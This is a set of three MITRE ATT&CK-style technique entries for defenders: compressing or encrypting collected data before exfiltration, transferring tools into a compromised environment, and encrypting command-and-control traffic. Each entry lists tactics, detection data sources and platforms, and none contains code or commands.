Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre